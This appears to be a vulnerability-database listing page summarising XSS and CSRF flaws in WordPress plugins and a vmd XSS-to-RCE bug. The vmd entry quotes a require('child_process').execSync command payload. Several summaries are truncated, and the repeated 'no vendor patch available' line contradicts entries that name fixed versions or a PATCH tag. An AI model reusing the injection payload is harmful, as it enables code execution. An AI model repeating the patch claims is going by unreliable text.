vmd through 1.34.0 allows 'div class="markdown-body"' XSS, as demonstrated by Electron remote code execution via require('child_process').execSync('calc.exe') on Windows and a similar attack on macOS. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

XSS RCE Apple +2
NVD GitHub
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The SEO Redirection Plugin - 301 Redirect Manager WordPress plugin before 6.4 did not sanitise the Redirect From and Redirect To fields when creating a new redirect in the dashboard, allowing high. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Seo Redirection Plugin +1
NVD WPScan
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The tab parameter of the settings page of the All 404 Redirect to Homepage WordPress plugin before 1.21 was vulnerable to an authenticated reflected Cross-Site Scripting (XSS) issue as user input was. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS All 404 Redirect To Homepage +1
NVD WPScan
EPSS 1% CVSS 6.1
MEDIUM POC This Month

The tab parameter of the settings page of the 404 SEO Redirection WordPress plugin through 1.3 is vulnerable to a reflected Cross-Site Scripting (XSS) issue as user input is not properly sanitised or. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Seo Redirection Plugin +1
NVD WPScan
EPSS 1% CVSS 6.5
MEDIUM POC This Month

The 404 SEO Redirection WordPress plugin through 1.3 is lacking CSRF checks in all its settings, allowing attackers to make a logged in user change the plugin's settings. Rated medium severity (CVSS 6.5), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS CSRF +2
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC PATCH This Month

When taxes are enabled, the "Additional tax classes" field was not properly sanitised or escaped before being output back in the admin dashboard, allowing high privilege users such as admin to use. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

XSS Woocommerce
NVD WPScan
EPSS 1% CVSS 4.8
MEDIUM POC This Month

The GiveWP - Donation Plugin and Fundraising Platform WordPress plugin before 2.10.4 did not sanitise or escape the Background Image field of its Stripe Checkout Setting and Logo field in its Email. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Givewp
NVD WPScan
EPSS 6% CVSS 6.1
MEDIUM POC This Month

The ReDi Restaurant Reservation WordPress plugin before 21.0426 provides the functionality to let users make restaurant reservations. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Redi Restaurant Reservation
NVD WPScan Exploit-DB
EPSS 1% CVSS 5.4
MEDIUM POC This Month

The Happy Addons for Elementor WordPress plugin before 2.24.0, Happy Addons Pro for Elementor WordPress plugin before 1.17.0 have a number of widgets that are vulnerable to stored Cross-Site. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.

WordPress XSS Happy Addons For Elementor +1
NVD WPScan
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
41003

Related CWEs

MITRE ATT&CK

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